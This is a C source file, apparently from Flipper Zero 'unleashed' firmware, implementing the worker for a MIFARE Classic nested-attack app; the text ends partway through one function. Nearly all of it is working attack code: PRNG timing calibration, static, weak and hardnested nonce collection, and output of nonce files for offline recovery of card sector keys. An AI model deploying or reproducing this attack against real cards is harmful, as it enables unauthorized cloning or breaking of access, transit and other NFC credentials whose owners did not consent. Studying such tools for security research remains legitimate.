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unleashed-firmware/applications/external/mifare_nested/mifare_nested_worker.c
MX e7439272e6
Update mifare nested
2023-07-11 03:46:12 +03:00

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#include "mifare_nested_worker_i.h"
#include "lib/nested/nested.h"
#include "lib/parity/parity.h"
#include <lib/nfc/protocols/nfc_util.h>
#include <storage/storage.h>
#include <stream/stream.h>
#include <stream/file_stream.h>
#include "string.h"
#include <furi.h>
#include <furi_hal.h>
#define TAG "MifareNestedWorker"
// possible sum property values
static uint16_t sums[] =
{0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
void mifare_nested_worker_change_state(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state) {
furi_assert(mifare_nested_worker);
mifare_nested_worker->state = state;
}
MifareNestedWorker* mifare_nested_worker_alloc() {
MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
// Worker thread attributes
mifare_nested_worker->thread = furi_thread_alloc_ex(
"MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
mifare_nested_worker->callback = NULL;
mifare_nested_worker->context = NULL;
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
return mifare_nested_worker;
}
void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
furi_assert(mifare_nested_worker);
furi_thread_free(mifare_nested_worker->thread);
free(mifare_nested_worker);
}
void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
furi_assert(mifare_nested_worker);
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
furi_thread_join(mifare_nested_worker->thread);
}
void mifare_nested_worker_start(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state,
NfcDeviceData* dev_data,
MifareNestedWorkerCallback callback,
void* context) {
furi_assert(mifare_nested_worker);
furi_assert(dev_data);
mifare_nested_worker->callback = callback;
mifare_nested_worker->context = context;
mifare_nested_worker->dev_data = dev_data;
mifare_nested_worker_change_state(mifare_nested_worker, state);
furi_thread_start(mifare_nested_worker->thread);
}
int32_t mifare_nested_worker_task(void* context) {
MifareNestedWorker* mifare_nested_worker = context;
if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
mifare_nested_worker_check(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
mifare_nested_worker_collect_nonces(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
mifare_nested_worker_check_keys(mifare_nested_worker);
}
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
return 0;
}
void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
uint8_t* uid = data->uid;
uint8_t uid_len = data->uid_len;
for(size_t i = 0; i < uid_len; i++) {
uint8_t uid_part = uid[i];
furi_string_cat_printf(string, "%02X", uid_part);
}
}
void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".keys");
}
void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".nonces");
}
void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".keys");
}
void mifare_nested_worker_get_hardnested_folder_path(
FuriHalNfcDevData* data,
FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
}
void mifare_nested_worker_get_hardnested_file_path(
FuriHalNfcDevData* data,
FuriString* file_path,
uint8_t sector,
uint8_t key_type) {
mifare_nested_worker_get_hardnested_folder_path(data, file_path);
furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
}
uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
furi_assert(sector < 40);
if(sector < 32) {
return (sector * 4) + 3;
} else {
return 32 * 4 + (sector - 32) * 16 + 15;
}
}
static MfClassicSectorTrailer*
mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
.value;
}
bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
Storage* storage = furi_record_open(RECORD_STORAGE);
FuriString* temp_str = furi_string_alloc();
mifare_nested_worker_get_key_cache_file_path(data, temp_str);
FlipperFormat* file = flipper_format_file_alloc(storage);
bool load_success = false;
uint32_t sector_count = 0;
do {
if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
uint32_t version = 0;
if(!flipper_format_read_header(file, temp_str, &version)) break;
if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
if(version != 1) break;
if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
if(!furi_string_cmp(temp_str, "1K")) {
mf_data->type = MfClassicType1k;
sector_count = 16;
} else if(!furi_string_cmp(temp_str, "4K")) {
mf_data->type = MfClassicType4k;
sector_count = 40;
} else if(!furi_string_cmp(temp_str, "MINI")) {
mf_data->type = MfClassicTypeMini;
sector_count = 5;
} else {
break;
}
if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
bool key_read_success = true;
for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
MfClassicSectorTrailer* sec_tr =
mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
if(FURI_BIT(mf_data->key_a_mask, i)) {
furi_string_printf(temp_str, "Key A sector %d", i);
key_read_success = flipper_format_read_hex(
file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
}
if(!key_read_success) break;
if(FURI_BIT(mf_data->key_b_mask, i)) {
furi_string_printf(temp_str, "Key B sector %d", i);
key_read_success = flipper_format_read_hex(
file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
}
}
load_success = key_read_success;
} while(false);
furi_string_free(temp_str);
flipper_format_free(file);
return load_success;
}
bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
if(c <= '9') {
*nibble = c - '0';
} else if(c <= 'F') {
*nibble = c - 'A' + 10;
} else {
*nibble = c - 'a' + 10;
}
return true;
} else {
return false;
}
}
bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
uint8_t hi_nibble_value, low_nibble_value;
if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
hex_char_to_hex_nibble(low, &low_nibble_value)) {
*value = (hi_nibble_value << 4) | low_nibble_value;
return true;
} else {
return false;
}
}
void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
free(nonces->nonces[sector][key_type][tries]);
}
}
}
}
MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
UNUSED(ATQA1);
if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
if((SAK == 0x08 || SAK == 0x88)) {
return MfClassicType1k;
} else if(SAK == 0x09) {
return MfClassicTypeMini;
}
} else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
//skylanders support
return MfClassicType1k;
} else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
return MfClassicType4k;
}
return MfClassicType1k;
}
uint32_t mifare_nested_worker_predict_delay(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key,
uint32_t tries,
MifareNestedWorker* mifare_nested_worker) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
if(tries > 25) {
free(crypto);
return 2; // Too many tries, fallback to hardnested
}
// This part of attack is my attempt to implement it on Flipper.
// Check README.md for more info
// First, we find RPNG rounds per 1000 us
for(uint32_t rtr = 0; rtr < 25; rtr++) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
free(crypto);
return 1;
}
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(rtr * 1000);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// Searching for delay, where PRNG will be near 800
uint32_t nttmp = prng_successor(nt1, 100);
for(i = 101; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(!rtr) {
zero_prng_value = i;
}
if(previous && i > previous && i != 65565) {
if(!prng_delay) {
prng_delay = i - previous;
} else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
prng_delay += i - previous;
prng_delay /= 2;
}
}
previous = i;
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
// Let's hope...
if(i > 810 && i < 840) {
free(crypto);
return rtr * 1000;
}
}
FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
// Next, we try to calculate time until PRNG near 800 with more perfect timing
// Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
if(zero_prng_value == 65565) {
free(crypto);
// PRNG isn't pretictable
return 1;
}
uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
uint32_t limit = 7;
for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
for(uint32_t rtz = 0; rtz < 100; rtz++) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
free(crypto);
return 1;
}
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
uint32_t delay = rtr * 1000 + rtz * 10;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(delay);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// Searching for delay, where PRNG will be near 800
uint32_t nttmp = prng_successor(nt1, 0);
for(i = 1; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(!(i > previous - 50 && i < previous + 50) && rtz) {
repeat++;
if(repeat < 5) {
FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
continue;
}
}
if(i > 2000 && i < 65500) {
uint32_t catch_cycles = (65565 - i) / prng_delay;
if(catch_cycles > 2) {
catch_cycles++;
FURI_LOG_D(
TAG,
"Trying a more accurate value: skipping additional %lu us",
catch_cycles * 1000);
limit += catch_cycles + 2;
rtr += catch_cycles;
}
}
FURI_LOG_D(
TAG,
"Calibrating: ntdist=%lu, delay=%lu, max=%lu",
i,
delay,
(cycles_to_reset + limit) * 1000);
repeat = 0;
previous = i;
if(i > 810 && i < 840) {
free(crypto);
FURI_LOG_I(TAG, "Found delay: %lu us", delay);
return delay;
} else if(i > 840 && i < 40000) {
FURI_LOG_D(TAG, "Trying again: timing lost");
tries++;
free(crypto);
return mifare_nested_worker_predict_delay(
tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
}
}
}
if(i > 1000 && i < 65000) {
FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
tries++;
free(crypto);
return mifare_nested_worker_predict_delay(
tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
}
free(crypto);
return 1;
}
SaveNoncesResult_t* mifare_nested_worker_write_nonces(
FuriHalNfcDevData* data,
Storage* storage,
NonceList_t* nonces,
uint8_t tries_count,
uint8_t free_tries_count,
uint8_t sector_count,
uint32_t delay,
uint32_t distance) {
FuriString* path = furi_string_alloc();
Stream* file_stream = file_stream_alloc(storage);
SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
result->saved = 0;
result->invalid = 0;
result->skipped = 0;
mifare_nested_worker_get_nonces_file_path(data, path);
file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
FuriString* header = furi_string_alloc_printf(
"Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
NESTED_NONCE_FORMAT_VERSION,
NESTED_RECOVER_KEYS_GITHUB_LINK);
stream_write_string(file_stream, header);
for(uint8_t tries = 0; tries < tries_count; tries++) {
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
if(nonces->nonces[sector][key_type][tries]->invalid) {
if(tries == 0) {
result->invalid++;
}
} else if(nonces->nonces[sector][key_type][tries]->skipped) {
if(tries == 0) {
result->skipped++;
}
} else if(nonces->nonces[sector][key_type][tries]->collected) {
if(nonces->nonces[sector][key_type][tries]->hardnested) {
FuriString* hardnested_path = furi_string_alloc();
mifare_nested_worker_get_hardnested_file_path(
data, hardnested_path, sector, key_type);
FuriString* str = furi_string_alloc_printf(
"HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
!key_type ? 'A' : 'B',
nonces->cuid,
furi_string_get_cstr(hardnested_path),
sector);
stream_write_string(file_stream, str);
furi_string_free(hardnested_path);
furi_string_free(str);
} else {
FuriString* str = furi_string_alloc_printf(
"Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
for(uint8_t type = 0; type < 2; type++) {
furi_string_cat_printf(
str,
" nt%u 0x%08lx ks%u 0x%08lx par%u ",
type,
nonces->nonces[sector][key_type][tries]->target_nt[type],
type,
nonces->nonces[sector][key_type][tries]->target_ks[type],
type);
uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
for(uint8_t i = 0; i < 4; i++) {
furi_string_cat_printf(str, "%u", par[i]);
}
}
furi_string_cat_printf(str, " sec %u\n", sector);
stream_write_string(file_stream, str);
furi_string_free(str);
}
result->saved++;
}
}
}
}
if(delay) {
FuriString* str =
furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
stream_write_string(file_stream, str);
furi_string_free(str);
}
free_nonces(nonces, sector_count, free_tries_count);
file_stream_close(file_stream);
free(file_stream);
if(!result->saved) {
FURI_LOG_E(TAG, "No nonces collected, removing file...");
if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
FURI_LOG_E(TAG, "Failed to remove .nonces file");
}
}
furi_string_free(path);
furi_record_close(RECORD_STORAGE);
return result;
}
bool mifare_nested_worker_check_initial_keys(
NonceList_t* nonces,
MfClassicData* mf_data,
uint8_t tries_count,
uint8_t sector_count,
uint64_t* key,
uint32_t* key_block,
uint32_t* found_key_type) {
bool has_a_key, has_b_key;
FuriHalNfcTxRxContext tx_rx = {};
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = malloc(sizeof(Nonces));
info->key_type = key_type;
info->block = mifare_nested_worker_get_block_by_sector(sector);
info->collected = false;
info->skipped = true;
info->from_start = false;
nonces->nonces[sector][key_type][tries] = info;
}
}
}
for(uint8_t sector = 0; sector < sector_count; sector++) {
MfClassicSectorTrailer* trailer =
mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
if(has_a_key) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = nonces->nonces[sector][0][tries];
info->collected = true;
info->skipped = true;
info->from_start = true;
nonces->nonces[sector][0][tries] = info;
}
if(*key_block == 0) {
uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
if(nested_check_key(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
NestedCheckKeyValid) {
*key = key_check;
*key_block = mifare_nested_worker_get_block_by_sector(sector);
*found_key_type = 0;
}
}
}
if(has_b_key) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = nonces->nonces[sector][1][tries];
info->collected = true;
info->skipped = true;
info->from_start = true;
nonces->nonces[sector][1][tries] = info;
}
if(*key_block == 0) {
uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
if(nested_check_key(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
NestedCheckKeyValid) {
*key = key_check;
*key_block = mifare_nested_worker_get_block_by_sector(sector);
*found_key_type = 1;
}
}
}
}
nonces->cuid = 0;
nonces->hardnested_states = 0;
nonces->sector_count = sector_count;
nonces->tries = tries_count;
return *key_block;
}
void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
FuriHalNfcTxRxContext tx_rx = {};
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriHalNfcDevData data = {};
MifareNestedNonceType type = MifareNestedNonceNoTag;
nested_get_data(&data);
if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
for(uint8_t sector = 0; sector < 40; sector++) {
if(FURI_BIT(mf_data->key_a_mask, sector) ||
FURI_BIT(mf_data->key_b_mask, sector)) {
type = nested_check_nonce_type(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector));
break;
}
}
if(type == MifareNestedNonceNoTag) {
type = nested_check_nonce_type(&tx_rx, 0);
}
} else {
type = nested_check_nonce_type(&tx_rx, 0);
}
if(type == MifareNestedNonceStatic) {
mifare_nested_worker->context->collecting_type =
MifareNestedWorkerStateCollectingStatic;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
} else if(type == MifareNestedNonceWeak) {
mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
} else if(type == MifareNestedNonceHard) {
mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
}
furi_delay_ms(250);
}
nfc_deactivate();
}
void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
NonceList_t nonces;
Storage* storage = furi_record_open(RECORD_STORAGE);
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriString* folder_path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
uint64_t key = 0; // Found key for attack
uint32_t found_key_type = 0;
uint32_t key_block = 0;
uint32_t sector_count = 0;
FURI_LOG_I(TAG, "Running Static Nested attack");
FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
mifare_nested_worker_write_uid_string(&data, tag_info);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
furi_string_free(tag_info);
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
furi_string_set(folder_path, NESTED_FOLDER);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
furi_string_free(folder_path);
if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
!mifare_nested_worker_check_initial_keys(
&nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 1);
return;
}
FURI_LOG_I(
TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
FuriHalNfcTxRxContext tx_rx = {};
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
Nonces* info = nonces.nonces[sector][key_type][0];
if(info->collected) {
FURI_LOG_I(
TAG,
"Skipping sector %u, block %u, key_type: %u as we already have a key",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
if(!nested_check_block(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
FURI_LOG_E(
TAG,
"Skipping sector %u, block %u, key_type: %u as we can't auth on it",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->invalid = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
while(!info->collected) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
break;
}
struct nonce_info_static result = nested_static_nonce_attack(
&tx_rx,
key_block,
found_key_type,
mifare_nested_worker_get_block_by_sector(sector),
key_type,
key);
if(result.full) {
FURI_LOG_I(
TAG,
"Accured nonces for sector %u, block %u, key_type: %u",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info = nonces.nonces[sector][key_type][0];
info->collected = true;
info->skipped = false;
memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
nonces.nonces[sector][key_type][0] = info;
nonces.cuid = result.cuid;
nonces.sector_count = sector_count;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
break;
} else {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
}
}
}
}
break;
}
SaveNoncesResult_t* result =
mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
free(mf_data);
if(result->saved) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
} else {
mifare_nested_worker->context->save_state = result;
mifare_nested_worker->callback(
MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
}
nfc_deactivate();
}
void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
NonceList_t nonces;
Storage* storage = furi_record_open(RECORD_STORAGE);
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriString* folder_path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
uint64_t key = 0; // Found key for attack
uint32_t found_key_type = 0;
uint32_t key_block = 0;
uint32_t sector_count = 0;
uint32_t cuid = 0;
furi_hal_nfc_activate_nfca(200, &cuid);
FURI_LOG_I(TAG, "Running Hard Nested attack");
FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
mifare_nested_worker_write_uid_string(&data, tag_info);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
furi_string_free(tag_info);
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
furi_string_set(folder_path, NESTED_FOLDER);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
furi_string_free(folder_path);
if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
!mifare_nested_worker_check_initial_keys(
&nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 1);
return;
}
FURI_LOG_I(
TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
FuriHalNfcTxRxContext tx_rx = {};
nonces.tries = 1;
nonces.hardnested_states = 0;
nonces.sector_count = sector_count;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
mifare_nested_worker->callback(
MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
for(uint8_t sector = 0; sector < sector_count &&
mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
sector++) {
for(uint8_t key_type = 0;
key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
key_type++) {
Nonces* info = nonces.nonces[sector][key_type][0];
if(info->collected) {
FURI_LOG_I(
TAG,
"Skipping sector %u, block %u, key_type: %u as we already have a key",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
if(!nested_check_block(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
FURI_LOG_E(
TAG,
"Skipping sector %u, block %u, key_type: %u as we can't auth on it",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->invalid = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
while(!info->collected &&
mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
Stream* file_stream = file_stream_alloc(storage);
FuriString* hardnested_file = furi_string_alloc();
mifare_nested_worker_get_hardnested_file_path(
&data, hardnested_file, sector, key_type);
file_stream_open(
file_stream,
furi_string_get_cstr(hardnested_file),
FSAM_READ_WRITE,
FSOM_CREATE_ALWAYS);
FuriString* header = furi_string_alloc_printf(
"Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
NESTED_NONCE_FORMAT_VERSION,
NESTED_RECOVER_KEYS_GITHUB_LINK,
!key_type ? 'A' : 'B',
cuid,
sector);
stream_write_string(file_stream, header);
furi_string_free(header);
uint32_t first_byte_sum = 0;
uint32_t* found = malloc(sizeof(uint32_t) * 256);
for(uint32_t i = 0; i < 256; i++) {
found[i] = 0;
}
while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
struct nonce_info_hard result = nested_hard_nonce_attack(
&tx_rx,
key_block,
found_key_type,
mifare_nested_worker_get_block_by_sector(sector),
key_type,
key,
found,
&first_byte_sum,
file_stream);
if(result.static_encrypted) {
file_stream_close(file_stream);
storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
furi_string_free(hardnested_file);
free(found);
free(mf_data);
nfc_deactivate();
mifare_nested_worker->callback(
MifareNestedWorkerEventStaticEncryptedNonce,
mifare_nested_worker->context);
return;
}
if(result.full) {
uint32_t states = 0;
for(uint32_t i = 0; i < 256; i++) {
states += found[i];
}
nonces.hardnested_states = states;
mifare_nested_worker->callback(
MifareNestedWorkerEventHardnestedStatesFound,
mifare_nested_worker->context);
FURI_LOG_D(TAG, "Found states: %lu", states);
if(states == 256) {
FURI_LOG_D(
TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
bool valid = false;
for(uint8_t i = 0; i < sizeof(sums); i++) {
if(sums[i] == first_byte_sum) {
valid = true;
break;
}
}
if(!valid) {
FURI_LOG_E(TAG, "Invalid first_byte_sum!");
break;
}
info->collected = true;
info->hardnested = true;
info->skipped = false;
nonces.cuid = result.cuid;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
break;
}
} else {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
}
}
free(found);
furi_string_free(hardnested_file);
file_stream_close(file_stream);
}
}
}
SaveNoncesResult_t* result =
mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
free(mf_data);
if(result->saved) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
} else {
mifare_nested_worker->context->save_state = result;
mifare_nested_worker->callback(
MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
}
nfc_deactivate();
}
void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
NonceList_t nonces;
